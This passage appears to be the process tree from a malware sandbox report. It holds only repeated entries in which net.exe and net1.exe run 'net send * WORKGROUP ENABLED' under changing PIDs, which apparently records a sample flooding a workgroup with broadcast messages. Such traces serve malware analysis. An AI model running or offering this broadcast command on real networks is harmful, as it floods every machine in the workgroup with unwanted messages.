    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3448
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1412
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5100
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4432
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4720
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4140
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4024
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4300
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4152
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3284
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4160
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4268
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4944
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4520
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2660
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1680
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:112
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1400
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1888
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:752
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1524
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2696
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4864
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3276
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4392
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3232
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4024
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4152
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4872
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4444
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:312
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2656
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:384
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2068
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2812
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:492
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2780
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2300
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:8
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3756
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2384
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5100
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3316
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:932
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2072
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4432
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4508
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3236
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3512
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4296
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:468
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1212
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4944
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2272
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1380
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4580
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4400
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3448
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4876
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1128
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:896
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2460
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2696
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1412
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4972
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3192
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3232
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1532
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3424
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3064
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1760
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5036
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2656
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1268
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4520
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4016
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:436
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2780
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:112
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4164
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4876
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3168
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2384
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5100
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2460
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4864
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2072
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3192
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4024
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4756
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4872
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3424
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3512
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1692
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:468
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:384
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2660
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1380
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:436
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4580
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1400
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1244
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:752
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4456
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1524
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3276
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2692
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4432
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4896
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4916
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2428
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4508
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4296
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3236
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4268
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5036
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1268
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1680
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4400
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:492
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3156
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4164
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3316
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:896
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2872
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4740
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2460
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4972
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:396
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4392
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4720
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3876
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4872
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4152
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3512
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1212
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4268
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5084
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:436
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2780
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:8
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5056
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:752
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4164
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1524
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3756
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1412
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2384
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3760
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2072
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:396
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4508
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4720
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3424
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4724
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4944
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:312
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4160
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4268
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5084
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2780
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:436
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5056
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:8
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4164
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:752
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3756
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2460
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3276
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4392
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4864
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3876
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3192
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2656
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2068
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4296
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1268
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1212
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4016
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:492
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2696
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:436
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:896
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2872
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4876
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2460
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3680
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4392
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3276
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4864
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2656
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4508
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:312
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3424
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4296
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3976
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1212
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2660
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4520
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:8
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4400
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:436
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2872
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1560
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4972
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:932
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2656
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1268
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4944
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3448
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4444
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3156
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5084
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5100
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4456
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5056
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4916
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:752
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4392
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3276
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4140
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3424
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3876
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2300
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:312
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4296
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1680
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1400
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2660
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:436
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:8
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:896
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4972
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2872
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4268
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3064
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:932
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2072
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2068
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1268
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3448
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1212
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4520
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:492
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2060
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3316
